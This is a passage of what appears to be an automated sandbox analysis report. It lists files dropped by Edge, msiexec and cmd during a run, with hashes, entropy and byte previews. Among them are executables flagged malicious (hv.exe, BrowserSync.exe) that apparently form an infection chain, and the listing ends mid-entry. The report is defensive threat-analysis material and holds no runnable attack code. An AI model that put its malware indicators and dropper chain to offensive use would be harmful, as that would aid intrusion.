SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.016395652833341
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclTJRXuqVY:YWLSGTt1o9LuLgfGBPAzkVj/T8ljXuEY
MD5:	7134CFC084B3C90FFF05E6A598CEACDB
SHA1:	5933B39EC62FF758CEE1FB07D341520852AD7331
SHA-256:	11647B76B249BC938E63EBA3676F5055FCB5C8A131FAF7E6501110EBDE6D41BD
SHA-512:	0C684ACF77A23F610D02AB443F857552866AC73CF8A6681367B3B1864D93C97AC7E26699B742C4C1AEF98E7414B886F45285D980D8337C0382D657DA2C5B356E
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1736530862014195}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ef1601e1-fe1e-4751-b985-83f8f016909a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	10294
Entropy (8bit):	5.882072985359585
Encrypted:	false
SSDEEP:	192:asNAu9eiRU95xXKlyXktjpKeo996qRAq1k8SPxVLZ7VTin3:asNAC8DXK4Utjkeo996q3QxVNZTi3
MD5:	136B2C942263DF6C515190C17D9251AF
SHA1:	ABBDC26DBEEAACEF6597DFBED00AC5427890882E
SHA-256:	CA56FA1E394BCA9448BEEA6C9722C35E525F360DFDC0C38ACFED3EF0EF350E4E
SHA-512:	0B7C2A9AE9C519B40E8BECD4AAE7A584821A35C7C46102BDE5E18D417773B4278C883AC9F27DB85360F24B370C2982C1D16F148B8638A40B8884B2E892BD67E2
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_mig

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8497935554671954
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxqCxl9Il8u2MBLl0M90+aydOrlsmdd1rc:mEYMMn0s0F88lM
MD5:	BC5E41AED0D2D0CB43BE715A15E90136
SHA1:	541FD54125862A223C08CE43AAB34B5C80A50C3B
SHA-256:	86A5A899B1EA9335C4D9D91B8FE16EC5DD08CE22E580B23C5E03A4891EC625BB
SHA-512:	9CB0DE8EAA732534ED578BDE9E7ACF634E6B10830D7A7B89E566064FF91B16E815F7B3BDA55566A4C0F8AF353F7B83320D0A7929B5C8382111EF7B7041F5EBE4
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.O.n.V.g.a.R.i.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.g.7.P.k.v.B.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.000146528117872
Encrypted:	false
SSDEEP:	96:DVYMB0+A4Xxm4/IFzoVL/Eorw3mpI1kYHiogibWhWYV:xq+ATaIJoKkw2C18HiIWY
MD5:	7F13806CBD705893CFC7FB91CF71DF64
SHA1:	60C6EDD82FF985B64AF7107214D62DC645470816
SHA-256:	2ED18AEB43C0404762D52B7AD33DB6DF6A79013482733A2871A16B0CBC94035F
SHA-512:	BC25B42E1A90E214DC83D7D411C3D525497D262F02636D32D06446DAE702110F96C287B7CE25298D97733DA9D938ED901B9A5181E5C476C61C9919601CA84CAB
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".m.u.C.f.Z.5.x.i.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.g.7.P.k.v.B.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8969703130453457
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xFxl9Il8u2+XrC4ayrN0v3lFRKdzSef90fCETsxU2d/vc:arYM+X130v3RKxtFeCOjT
MD5:	7ADBD239E32DC5E2EB2AB052F0582E1C
SHA1:	38858E4E7AD1ACAB8E70A7837043098DE112DBA1
SHA-256:	64BDC57EC3B7E4A4847EC82AE2DE94D69FEEB230167CF20AF23D845E5CBD8373
SHA-512:	0C052F705FF7B6DA57DA9AF91BD60402CD63B4F97532CB469C2AFC5577647A733F19E3852653F8E897F2A1A888166DD40BE49F288EBDEF7B51A7A736E828A2F4
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".5.q.X.4.l.2.2.B.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.g.7.P.k.v.B.

C:\Users\user\AppData\Local\Temp\00187b51-72e3-43f6-b4c9-d4ee290dc15b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\559fe8b8-f0e6-43d0-b5ac-0d16a001adc6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, comment: "Lavc59.36.100", baseline, precision 8, 1280x720, components 3
Category:	dropped
Size (bytes):	110370
Entropy (8bit):	7.965668461982784
Encrypted:	false
SSDEEP:	3072:4CvA9IpumuSX+XRo+dhM4upl7l4m6qoYEz/M7tHwwH:v/pZkRJdhMblD6qf/dwE
MD5:	2438DC88547AD135B9502A4DF0998B6B
SHA1:	039A533B3F4B1D2E7C0BBF9A36DF1219803DFDC8
SHA-256:	938FB477E1B11680FF8D248E984E2B68033104E43834495375A75AFD20A737CE
SHA-512:	70A5C5E7BCEDEA90C4E8485796D49CAD44E54751883D43DDFBB6ABDEB1A72DE81FAF475363CC41584346232E7C40A05A202231119C964D9ACF7AE2C22426E3FE
Malicious:	false
Preview:	.....XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1..........................

C:\Users\user\AppData\Local\Temp\5ab67a0e

Download File

Process:	C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe
File Type:	data
Category:	dropped
Size (bytes):	5657875
Entropy (8bit):	7.719459771961574
Encrypted:	false
SSDEEP:	98304:4lw6FAthUlmnBUQDHUzmt0WnlmoeE/b5piPY530tRK5bVQXVU7S8lNNHKzpy8J4m:swKmBUQD0zmt0WnlmZEtbE1XVU7Si7KR
MD5:	34C60EE09B16EE575895040CCFD39C34
SHA1:	806946389CFF4285A1307A852A227160BB27DCCD
SHA-256:	79CFA4312AA37E12B99A4A36E575A9C48A1F76EBD6B700A74B61B9F86D6A61A0
SHA-512:	B769A98BDD1A0200F9822BF0DFBC670D02565976841F3A4280E84652DE3F4CB1E5FBB27ED55D021CFEA214D5E22F76A9990441A14B6C0EF080E787ECF2B2C091
Malicious:	false
Preview:	..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................../.YKN.]Z/.Dri.fhe.}G].g.e.zGY.hi~.D~d.UKx.nik.zGY.hi~.y.............................................I.@uc.`zf.s~O.......................................................................................I.Jio.}~C.zok.j~..................................................................................../.@UN.[>V.`xx.ztl.'UO.U]x.d~}.{p....................................................................\|.'+$.9,8...........................................

C:\Users\user\AppData\Local\Temp\5f7e0d0b-e3e6-4ab4-9b6c-61c74c045fa8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	31335
Entropy (8bit):	7.694019108205432
Encrypted:	false
SSDEEP:	768:514ugFV0910SWyR5kNVdS3sNp/xm3MbiMuYEDlyFUyv6E/ty8:5WcDWyRKNVd2M/IxMuYEDlymsTQ8
MD5:	6B72597205C77D3E40E1A35BEE403801
SHA1:	6BECEE055C6E057AF9475B6D651B4EE561D02F20
SHA-256:	C899297FBDFC88C1634B1145A087FDB5BE17172FD786C078B299557B22F06DEB
SHA-512:	7CB1A98E0C7FBB349D9CB681233A9F4ED22A1C3FAADCDF1BC270B04BD97D3FC41AB6F762B2F5F231281D63D96AC3D243640BA81D5E8CCD9F54486B4F538CA8B4
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\6adc5a7b

Download File

Process:	C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe
File Type:	data
Category:	dropped
Size (bytes):	5657875
Entropy (8bit):	7.719459632795084
Encrypted:	false
SSDEEP:	98304:7lw6FAthUlmnBUQDHUzmt0WnlmoeE/b5piPY530tRK5bVQXVU7S8lNNHKzpy8J4m:BwKmBUQD0zmt0WnlmZEtbE1XVU7Si7KR
MD5:	E133CC3CBBD7E8FC51748EFF62488D2C
SHA1:	D3F4D3C05CFF5CE091130381EC8D873C517BD52C
SHA-256:	194E3B65D062F5566DE220191B9E27F6E4507AC9617B8E2279350D983810DCD4
SHA-512:	92D414921F455FB5BFA295964E095305B08629896C5F077DD1AA8E1F34721DDBFA99F44B63A56A2A9C3CBB0E6ADFC809E5E5A1286F0DD58C7CD428E611DC57F2
Malicious:	false
Preview:	..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................../.YKN.]Z/.Dri.fhe.}G].g.e.zGY.hi~.D~d.UKx.nik.zGY.hi~.y.............................................I.@uc.`zf.s~O.......................................................................................I.Jio.}~C.zok.j~..................................................................................../.@UN.[>V.`xx.ztl.'UO.U]x.d~}.{p....................................................................\|.'+$.9,8...........................................

C:\Users\user\AppData\Local\Temp\9d856369-430b-487e-9598-1728e3444371.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2364728
Entropy (8bit):	6.606009669324617
Encrypted:	false
SSDEEP:	49152:lbCT2kOGRpfJMi3kLRQrjYgeeZyTDwMHfDYZNBi:TkOKMiY0BZMHfDYZNBi
MD5:	967F4470627F823F4D7981E511C9824F
SHA1:	416501B096DF80DDC49F4144C3832CF2CADB9CB2
SHA-256:	B22BF1210B5FD173A210EBFA9092390AA0513C41E1914CBE161EB547F049EF91
SHA-512:	8883EAD428C9D4B415046DE9F8398AA1F65AE81FE7945A840C822620E18F6F9930CCE2E10ACFF3B5DA8B9C817ADE3DABC1DE576CBD255087267F77341900A41C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: LVkAi4PBv6.exe, Detection: malicious, Browse Filename: w3245.exe, Detection: malicious, Browse Filename: w3245.exe, Detection: malicious, Browse Filename: 9mauyKC3JW.exe, Detection: malicious, Browse Filename: ATLEQQXO.exe, Detection: malicious, Browse Filename: ATLEQQXO.exe, Detection: malicious, Browse Filename: upgrade.hta, Detection: malicious, Browse Filename: MiJZ3z4t5K.exe, Detection: malicious, Browse Filename: UolJwovI8c.exe, Detection: malicious, Browse Filename: ONHQNHFT.msi, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:<..To..To..To.:.o..To...o..To.:9o..To.:.o..To.:/o..To..Uoe.To...o\|.To...o..To...o..To...o..ToRich..To................PE..d...^.?e..........#......H.....................@..............................%.....h.$.....................................................XW..,........q...p..$h....#.8)......................................(....................`...............................text...RG.......H.................. ..`.rdata..R/...`...0...L..............@..@.data................\|..............@....pdata..$h...p...j..................@..@Shared...............p..............@....tls.................x..............@....rsrc....q.......r...z..............@..@................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Caret\hv.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	9094368
Entropy (8bit):	6.822465768734483
Encrypted:	false
SSDEEP:	196608:Ywdj1UbkCchr3rlFE8GCWhKUzGZ3gRTFHnBz58//o:Yw91Ubkxhr3rlFHWhKUzGZ3gRTFhzi/o
MD5:	480F8CF600F5509595B8418C6534CAF2
SHA1:	DC13258EBB83BDF956523D751F67E29D6E4CF77E
SHA-256:	6D8905EC0B1DFDC0A10D1CCE40714DDD73205A09AD390B933DDBECDCF06A4CF2
SHA-512:	F0BD99F68D59E80538FB276945D0F383394CB94A35C6D12EBD3E87061222249F78B9CA75716B33E36B66842B97C71149612111FCB6A8A3BC3A97635B03934AAF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...0C.e..................k.........T.k.......l...@..........................`......F.....@......@...................@r.......q..G....y..................&...pr..7...........................`r.....................$.q......0r......................text....k.......k................. ..`.itext.. )....k..*....k............. ..`.data...x.....l.......k.............@....bss....TZ....o..........................idata...G....q..H...ho.............@....didata......0r.......o.............@....edata.......@r.......o.............@..@.tls....d....Pr..........................rdata..]....`r.......o.............@..@.reloc...7...pr..8....o.............@..B.rsrc.........y.......v.............@..@.............`......................@..@................

C:\Users\user\AppData\Local\Temp\Caret\iepdf32.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
